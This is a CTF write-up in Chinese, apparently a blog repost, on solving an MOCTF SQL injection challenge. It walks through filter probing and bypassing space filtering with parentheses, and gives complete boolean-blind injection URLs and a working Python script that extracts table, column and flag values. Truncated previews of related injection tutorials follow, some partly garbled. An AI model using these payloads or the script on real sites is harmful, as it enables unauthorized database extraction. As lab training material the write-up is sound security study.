MOCTF 简单注入,记录一下盲注脚本

最近在练习sql注入写脚本,记录一下思路,刚学的and 1=1也拿出来溜溜

http://119.23.73.3:5004/?id=1

首先,没有被过滤是正常显示。
没有被过滤但是查询不到就是空白,比如?id=99999
waf过滤关键词,提示whatfuck

我首先判断的是有没有用trim()函数,要知道trim函数和过滤是不一样的。

区别很简单,举个例子。trim默认移除字符串左右两边的空格

 http://119.23.73.3:5004/?id=1(此处1后边有空格)
 如果使用了trim()函数,也过滤掉了空格。
 那么这个不会出waf的,而是会正常显示id=1的内容。
 会让你以为空格并没有过滤,是因为trim函数把空格去掉后才用waf函数进行的判断。  

测试的方法很简单?id=1 1,让空格在里面就好了。

发现过滤了空格,寻找能够代替空格的字符。

%20 %09 %0a %0b %0c %0d %a0 %00 /**/    ()  

发现只有()没有被过滤。

判断是整形注入还是字符型注入,?id=1-0,发现不是id=1的界面,不是整形注入

判断id的保护是什么?首先猜测是引号,输入1‘1,(这里为了排除trim函数的影响),发现没有出现waf,但是会出现空白。所以是单引号保护,因为单引号没有被过滤,会匹配原来保护id的两个单引号的前一个,导致了有一了孤零零的单引号没有人和他配对,就会出错,什么也查不出来。

判断截断字符有没有被过滤,发现尝试%23,--+,--%20都会被过滤。

所以考虑and ‘1这样绕过,匹配最后的那个‘,不让他孤零零,有任何他匹配就不会出错。

判断其他的过滤字符

union被过滤,无法使用联合查询
> < like regexp被过滤,但是=没有被过滤,between and 也没有被过滤。
or被过滤,information这个一会再说,有点特殊。
mid,ascii没有被过滤,逗号也没有被过滤。

判断逻辑

http://119.23.73.3:5004/?id=1%27and(select(0))and%271
http://119.23.73.3:5004/?id=1%27and(select(1))and%271  

发现可以判断出来注入的逻辑,只要构造语句让select(0)和select(1)里面的1,0值出现就可以判断了。

脚本,py3

import requests

shiliu="0x20"
zuihou="0x7f"
i=1
while True:
    #http://119.23.73.3:5004/?id=1%27and(select(mid((select(database())),1,1))=%27m%27)and%271 #MOCTF
    #url="http://119.23.73.3:5004/?id=1%27and(select(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=‘moctf‘)between("+shiliu+")and(0x7f))and%271"  #DO_Y0U_L1KE_LONG_T4BLE_NAME,NEWS
    #url="http://119.23.73.3:5004/?id=1%27and(select(select(group_concat(column_name))from(information_schema.columns)where(table_name)=‘do_y0u_l1ke_long_t4ble_name‘)between("+shiliu+")and(0x7f))and%271"  #D0_YOU_ALS0_L1KE_VERY_LONG_COLUMN_NAME
    url="http://119.23.73.3:5004/?id=1%27and(select(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),"+str(i)+",1)))between("+shiliu+")and(0x7f))and%271"  #D0_YOU_ALS0_L1KE_VERY_LONG_COLUMN_NAME
    res=requests.get(url)
    #print(url)

#MOCTF{B1IND_SQL_1NJECTI0N_G0OD}

    if "Hello" not in res.text:
        i+=1
        x=hex(int(shiliu,16)-1)
        if ‘20‘ in x:
            break;
        print(x)
        zuihou = shiliu + zuihou.replace("0x","")

        shiliu="0x20"
        #shiliu=x+shiliu.replace("0x","")   #跑前三个的时候这个不能注释掉,跑最后一个得注释掉

    shiliu=str(hex(int(shiliu,16)+1))

数据库我是手动测试的,是moctf,然后剩下的,一开始偷了懒,没用ascii跑,结果flag大小写都提交不上,原因是flag有大写也有小写,数据库是对大小写不敏感的,用ascii就可以了

第一个语句我没用脚本跑,自己用手试出来的。

moctf{b1ind_SQL_1njecti0n_g0od}
兄弟们不会做的就问啊,输出一下url,挨个看看怎么跑的,直接提交flag没啥用  

最后说一下那个or被过滤了,为什么information没有被过滤。

information确实被过滤了,但是information只要加上其他为被过滤的字符,也不会被过滤。

为此还去群里问了下,

出题人:Waf加了智能识别语义,information语境就不过滤,这样听起来会不会更牛逼

原文地址:https://www.cnblogs.com/zaqzzz/p/10053508.html

时间: 2024-11-09 18:18:00

MOCTF 简单注入,记录一下盲注脚本的相关文章

WEB安全 ACCESS 注入、盲注脚本

http://www.xxx.cn/cp.asp?classid=3http://www.xxx.cn/cp.asp?classid=3 and //有拦截关键字http://www.xxx.cn/cp.asp?classid=3 AND 1=1 //大写绕过http://www.xxx.cn/cp.asp?classid=3 AND 1=2http://www.xxx.cn/cp.asp?classid=3 ORDER BY 8%16 //正常http://www.xxx.cn/cp.asp?

MYSQL注入天书之盲注讲解

Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从background-1中,我们可以知道盲注分为三类 ?基于布尔SQL盲注 ?基于时间的SQL盲注 ?基于报错的SQL盲注 Ps:知识点太多了,这里只能简单列出来大致讲解一下.(ps:每当看到前辈的奇淫技巧的payload时,能想象到我内心的喜悦么?我真的想细细的写写这一块,但是不知道该怎么写或者小伙伴

时间盲注脚本.py

时间盲注脚本 #encoding=utf-8 import httplib import time import string import sys import random import urllib headers = {} payloads = '[email protected]_.ABCDEFGHIJKLMNOPQRST' print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localt

盲注脚本2.基于bool

#encoding=utf-8 import httplib import time import string import sys import random import urllib headers = { 'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Saf

盲注学习总结

sql注入中的盲注的几种类型 1.基于时间延时注入 基于时间的手工盲注一般都是通过二分法或逐位法确定范围获取目标值.大大缩小了请求数. 通过控制,获取响应时间来判断目标值的正确性.使用大量情况,在纯盲情况下成功率较高,缺点就是时间太长. 1.1针对mysql 对mysql进行盲注的时候尽量使用#作为注释符号,使用--会引起很多缺少'错误使得数据库无法正常执行攻击语句 利用IF语句判断可能的值,如果值满足条件,则使用函数使sql语句在数据库长时间执行从而通过响应时间判断值得方式.该注入方式为推断形

实验吧CTF who are you?基于时间盲注

这是我第三次接触时间盲注,所以就写一个博文和大家分享一下,还能检验我对知识的掌握程度.?( ′???` ) 点开网址是把你的真实IP地址打印出来!然后立马看网页源代码什么发现都没有! 现在还没有什么想法,用burpsuite抓一下,看看能不能有什么发现 没有什么发现,但是当我们回想打开网页爆出我们的真实ip地址,既然是我们的真实ip,那么在后端应该调用了类似$_SERVER['HTTP_X_FORWARDED_FOR']之类的函数得到我们的真实ip地址.那么我们就用bp来构造一个含有x-forw

实验吧之【who are you?】(时间盲注)补充

第二种方法 使用brup进行盲注  也是一个道理 不多贴了 这里提一下  burp怎么判断超时 Options->Connections->Tiimeouts->Normal这一空 改成你想要的超时时间(默认为120秒). 在进行Intruder攻击时,如果连接超时,则状态码和length一栏为空.由此可以判断连接是否超时. 需要注意的是:在开始Intruder攻击前,需要把Intruder->Options->Request Engine->Number of thr

小白日记42:kali渗透测试之Web渗透-SQL盲注

SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,SQL注入将无法依据报错信息判断注入语句的执行结果,即为盲注. 思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断 a.  1' and 1=1--+ b.  1' and 1=2--+    [输入前真后假,无返回,页面没被执行] ###a与b比较,表明存在SQL注

sql盲注之报错注入(附自动化脚本)

作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的第一篇,介绍盲注中的报错注入. 0×01 报错注入原理 其实报错注入有很多种,本文主要介绍几种常见的报错方法,有新姿势后续再更新. 1. Duplicate entry报错: 一句话概括就是多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息. 关键是查询时会建立临时表存储数